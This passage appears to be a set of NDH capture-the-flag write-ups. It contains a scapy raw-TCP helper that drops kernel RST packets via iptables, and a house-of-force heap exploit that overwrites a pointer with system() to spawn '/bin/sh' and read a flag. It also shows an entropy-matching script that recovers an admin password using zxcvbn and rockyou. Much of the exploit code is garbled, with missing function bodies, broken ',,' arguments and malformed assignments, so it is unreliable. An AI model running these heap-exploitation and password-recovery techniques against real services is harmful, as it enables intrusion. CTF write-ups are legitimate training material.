                with self.lock_buffer_str :
                    self.buffer_str += x[Raw].load
                    #print self.buffer_str
                self.chall.sequence_recv += len(x[Raw].load)

    def recv_packet(self,packets) :
        for packet in packets :
            if Raw in packet :

    def run(self) :
        #print "[+] sniffer stopped caused by : timeout"

    def recvuntil(self,match_string,debug) :
        while True :
            with self.lock_buffer_str :
                offset = self.buffer_str.find(match_string) 
                if debug :
                    print self.buffer_str
                if offset != -1 :
                    result = self.buffer_str[:offset+len(match_string)]
                    self.buffer_str = self.buffer_str[offset+len(match_string):]
                    return result

    def recv(self) :
        result = ""
        with self.lock_buffer_str :
            result = self.buffer_str
            self.buffer_str = ""
        return result

class SendPkts :
    def __init__(self,challenge) :
        self.chall = challenge
        self.lock_synchronize = RLock()

    def synchronize(self) :
        # synchronization would block if we are sendinfg packets 
        with self.lock_synchronize :
            send(IP(dst=self.chall.dst) / TCP(dport=self.chall.dport,seq=self.chall.sequence_send,,ack=self.chall.sequence_recv,flags='A'),verbose=0)

    # send packet using fragmentation
    def send_payload(self,payload) :
        mtu = 1448
        packets = []
        # Forge paquets 

        with self.lock_synchronize :
            for packet_payload in [payload[i:i+mtu] for i in range(0, len(payload), mtu)] :
                packets += [ IP(dst=self.chall.dst,flags='DF') / TCP(dport=self.chall.dport,,seq=self.chall.sequence_send,ack=self.chall.sequence_recv,flags='A') / packet_payload ]
                self.chall.sequence_send += len(packet_payload)

            # Send all packets except the first
            # send first packet get all packets from server

class Communicate :
    def __init__(self,*args,**kwargs) : 

        # Get all needed parameters
        self.dst = args[0]
        self.dport = args[1]
        self.iface = args[2] = random.randint(1024,65535)

        self.recv_pkts = RecvPkts(self)
        self.send_pkts = SendPkts(self)
        self.lock = RLock()
        self.sequence_recv = 0
        self.sequence_send = 0

        # Avoid reset send by the system!["/usr/sbin/iptables","-A","OUTPUT","-p","tcp","--destination",self.dst,"--dport",str(self.dport),"--tcp-flags","RST","RST","-j","DROP"])

        # Initialise connection with three way handshake 
        syn = IP(dst=self.dst) / TCP(dport=self.dport,,flags="S")
        syn_ack = sr1(syn,verbose=0)

        ## Synchronise TCP sequence

        self.sequence_send = syn_ack.ack
        self.sequence_recv = syn_ack[TCP].seq + 1

        ack = IP(dst=self.dst) / TCP(dport=self.dport,,ack=self.sequence_recv,seq=syn_ack.ack, flags='A')


    def recvuntil(self,match,debug=False) :
        return self.recv_pkts.recvuntil(match,debug=debug)

    def send(self,payload) :
        return self.send_pkts.send_payload(payload)

    def sendline(self,payload) :
        return self.send(payload+"\n")

    def recv(self) :
        return self.recv_pkts.recv()

    def interactive(self) :
        while command!="exit" :
            print self.recv()

    def close(self) :

        data = IP(dst=self.dst) / TCP(dport=self.dport,,seq=self.sequence_send,ack=self.sequence_recv,flags='F') 

        #print 'delete iptables reset rule!'

    def __del__(self) :

Code for binary exploitation

#!/usr/bin/env python

import re
import socket
import time
import os
import subprocess
import pwnlib
from struct import unpack, pack
from final_scapy import Communicate

def p(address) :
    return pack("<Q",address)

# split a list in packets of length 
def split_list(payload,length) :
    return [payload[i:i+length] for i in range(0, len(payload), length)]

class Challenge:
    def __init__(self,*args,**kwargs) : = args[0]
        self.port = args[1]
        self.iface = args[2]
        self.tcp_window_size = 60000
        self.heap_trace = "heap_trace"

        # Use for debug heap
        #self.conn = pwnlib.tubes.process.process(["ltrace","-o",self.heap_trace,"-e","calloc+malloc+free+realloc","../2manypkts"])
        #self.conn = pwnlib.tubes.process.process(["../2manypkts"])
        #self.conn = pwnlib.tubes.remote.remote("" , 50505)

        # With packet desorder 
        self.conn = Communicate(,self.port,self.iface)

    def send_big_chunk(self,payload,debug=False) :
        self.conn.recvuntil("enter into int")
        #if debug :
        #    print self.conn.dump_tcp_queue()
        #    return
        retour = self.conn.recvuntil("End data dump\n",debug)
        return retour

    def send_chunks(self,typename,payload,debug=False,final_stage=False) :
        sizeof_typename = 1
        if typename == "double" or typename == "long" or typename == "long unsigned":
            sizeof_typename = 8
        if typename == "int" :
            sizeof_typename = 4
        if typename == "char" :
            sizeof_typename = 1
        retour = self.conn.recvuntil("enter into "+typename)
        if debug :
            print retour
        for chunk in split_list(payload,self.tcp_window_size) :
            if debug == True :
                print self.conn.recv()

        # tells the chall that we have finished to send

        if debug == True :
            print self.conn.recv()
            print self.conn.recv()
        if final_stage :
        retour = self.conn.recvuntil("End data dump\n")
        return retour

    def send_chunk(self,size,payload,debug=False) :
        response = self.conn.recvuntil("size : ")
        if debug :
            print response

    def set_data_size(self,data_size) :
        payload = "a"*0xe000+p(0)+p(data_size)
        return self.send_big_chunk(payload)

    def allocate_arbitrary_chunk_size(self,size) :
        payload = "a"*0xe000+p(0)+p(0)
        size = ((size - len(payload)) / 4) % 0x10000000000000000
        payload = payload[:-8] + p(size)
        return self.send_big_chunk(payload)

    def parse_heap_trace(self) :
        heap_trace = ""
        heap_trace_final = ""
        regex = re.compile("->(.*)")
        with open(self.heap_trace,"r") as f :
            for line in f :
                if "->" in line : 
                    heap_trace_final += (regex.findall(line)[0]).replace("nil","0")+"\n"
        with open(self.heap_trace,"w") as f:
        print heap_trace_final

    def end(self) :

def extract_adresses(response) :
    header = "Begin data dump\n"
    footer = "\n"
    response = response[response.find(header)+len(header):]
    response = response[:response.find(";\n")]
    addresses = []
    response = response.split(";")
    for number in split_list(response,2) :
        # we have reached the end of the data
        if len(number) != 2 :
        address = unpack("<Q",pack("<i",int(number[0])) + pack("<i",int(number[1])))[0]
        if address != 0 :
            addresses += [address]
    for address in addresses :
        print hex(address)

    return addresses[0], addresses[7]

    # Obtain memory leak
def memory_leak(chall) :
    print "[+] Begin heap polution"
    print chall.send_chunks("char",chr(0x0)*(0x200))
    print chall.send_chunks("double",chr(0x0)*(0x200))
    print chall.send_chunks("int",chr(0x0)*(0x200))
    print chall.send_chunks("long",chr(0x0)*(0x200))

    print chall.send_chunks("double",chr(0x0)*(0x300))
    print chall.send_chunks("long",chr(0x0)*(0x300))

    print chall.send_chunks("double",chr(0x0)*(0x38000))
    print chall.send_chunks("long",chr(0x0)*(0x38000))

    print "[+] Finish heap polution"

    response = chall.allocate_arbitrary_chunk_size(0x1d800)
    return extract_adresses(response)

def house_of_force(chall,write_at,top_chunk_adress,libc_base) :
    system_adress = 0x45800 + libc_base
    print "system address into libc :",hex(system_adress)
    offset_top_chunk = 100
    payload = "a"*0xe000+p(0)+p(0)+p(0xffffffffffffffff)*offset_top_chunk
    # the size that will be allocated
    size = write_at - 16 - top_chunk_adress
    print "size",hex(size)
    print "write at",hex(write_at)
    size = ((size - len(payload)) / 4) % 0x10000000000000000
    payload = "a"*0xe000+p(0)+p(size)+p(0xffffffffffffffff)*offset_top_chunk
    print "[+] Finished to send big chunk \o/"
    system_payload = "a"*0x10+p(system_adress) + "/bin/sh\x00" + p(write_at+0x18)*0x28
    chall.send_chunks("long unsigned",system_payload,False,True)
    chall.conn.sendline("cat /home/my_chall_pwned/flag")
    print chall.conn.recv()

if __name__ == "__main__" :

    address_got = 0x6050d0 # for fedora

    # Parse arguments 
    from argparse import ArgumentParser
    parser = ArgumentParser(description='2manypkts V2 exploit')
    parser.add_argument("--host",default="localhost",help="Target hostname or IP (default localhost)", dest="host")
    parser.add_argument("-p","--port",type=int,default=54321,help="Target port to connect (default 54321)",dest="port")
    parser.add_argument("-i","--iface",default="enp0s31f6",help="The interface to use to default enp0s31f6",dest="iface")
    args = parser.parse_args()

    chall = Challenge(,args.port,args.iface)
    address_libc, address_top_chunk = memory_leak(chall)
    address_libc = address_libc - (address_libc % 0x1000)
    address_libc -= 0x3c0000
    address_top_chunk -= 0x410



Here is the link of a very good writeup.

Write up link


Here is the link of a very good writeup.

Write up link

Entrop3r (second flag)


The Step 2 flag was a bonus for the Entrop3r challenge. The goal was to authenticate to the service by "cracking" the admin password.

After solving the first flag of the challenge, you may have discovered an entropy column and a password column. However, the password field is salted, with an unknown salt, so you can't break it.

"login": "admin",
"password": "$CONFIGSALT$9c2137e18b28698e00f97428aca597a75c4526e90755fadb2704dc3c5ce6627b",
"entropy": 51.558

However, you can try to recover the password based on his entropy.

Information Gathering

We can discover that the challenge is running Python. By enabling the 'debug' mode, and then, registering a new user, a Python dict is displayed with some informations about the password security.

~ » debug
~ » register
Registration Form

Username # username
Username username : OK !
Password # password!
Checking password strength...
[DEBUG] {'crack_time_display': 'instant', 'crack_time': 0.0, 'score': 0, 'entropy': 2.0, 'password': 'password!', 'calc_time': 0.002691030502319336, 'match_sequence': [{'l33t_entropy': 0, 'dictionary_name': u'passwords', 'matched_word': 'password', 'base_entropy': 0.0, 'i': 0, 'pattern': 'dictionary', 'j': 7, 'rank': 1, 'token': 'password', 'entropy': 0.0, 'uppercase_entropy': 0}, {'l33t_entropy': 1, 'dictionary_name': u'english', 'matched_word': 'i', 'sub': {'!': 'i'}, 'base_entropy': 1.0, 'i': 8, 'pattern': 'dictionary', 'j': 8, 'l33t': True, 'rank': 2, 'token': '!', 'entropy': 2.0, 'sub_display': '! -> i', 'uppercase_entropy': 0.0}]}

Now, we need to discover which library is used in order to break the password. By searching "crack_time_display" and "python". You see that the library used is likely zxcvbn - a password strength estimation library.


The following exploit try to find the password based on his entropy. It use the same zxcvbn library that the server and uses the rockyou wordlist.

from zxcvbn import password_strength

def break_entropy(dictionary, entropy_value):
    current = 0
    with open(dictionary, 'r') as f:
        for line in f:
            current += 1
            if current % 10000 == 0:
                print("[Entrobreak] Processed : %d" % current)
            line = line.strip('\r\n')
            entropy = password_strength(line.decode('utf-8'))['entropy']
            if entropy_value == entropy:
                print('Found possible candidate : %s' % line)

if __name__ == '__main__':
    break_entropy('/tmp/rockyou.txt', 51.558)

After 2 minutes :

[Entrobreak] Processed : 440000
[Entrobreak] Processed : 450000
Found possible candidate : #sur00100050!

We try to login using the password found :

~ » auth
Login # admin
Password # #sur00100050!
Congratz. You broke all the flags : NDH{SALTYCARAMELENTROPY}


Here is the link of a very good writeup.

Write up link